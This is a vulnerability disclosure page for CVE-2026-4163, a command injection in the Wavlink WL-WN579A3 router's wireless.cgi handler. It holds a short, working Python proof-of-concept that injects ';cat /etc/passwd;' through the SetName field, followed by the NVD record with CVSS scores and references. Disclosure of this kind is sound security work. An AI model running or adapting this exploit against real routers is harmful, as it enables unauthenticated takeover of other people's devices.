CVE-2026-4163

import requests # CVE-2026-4163 PoC - Wavlink WL-WN579A3 Command Injection # Target: /cgi-bin/wireless.cgi target_ip = "192.168.0.1" # Router IP target_url = f"http://{target_ip}/cgi-bin/wireless.cgi" # Payload to inject command (example: read /etc/passwd) payload = ";cat /etc/passwd;" data = { "SetName": payload, "goformId": "SET_WIFI_NAME" } try: response = requests.post(target_url, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

{"cve": {"id": "CVE-2026-4163", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:55.143", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Wavlink WL-WN579A3 220323. This issue affects the function SetName/GuestWifi of the file /cgi-bin/wireless.cgi of the component POST Request Handler. Performing a manipulation results in command injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading the affected component is recommended."}, {"lang": "es", "value": "Se detectó una vulnerabilidad en Wavlink WL-WN579A3 220323. Este problema afecta la función SetName/GuestWifi del archivo /cgi-bin/wireless.cgi del componente Gestor de Solicitudes POST. Realizar una manipulación resulta en inyección de comandos. Es posible iniciar el ataque de forma remota. El exploit ahora es público y puede ser utilizado. Se recomienda actualizar el componente afectado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "baseScore": 10.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://dl.wavlink.com/firmware/RD/WINSTAR_WN579A3-A-2026-03-10-94f93d4-WO-mt7628-squashfs-sysupgrade.bin", "source": "[email protected]"}, {"url": "https://github.com/Litengzheng/vul_db/blob/main/WL-WN579A3/vul_10/README.md", "source": "[email protected]"}, {"url": "https://github.com/Litengzheng/vul_db/blob/main/WL-WN579A3/vul_9/README.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351070", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351070", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.765327", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.765328", "source": "[email protected]"}]}}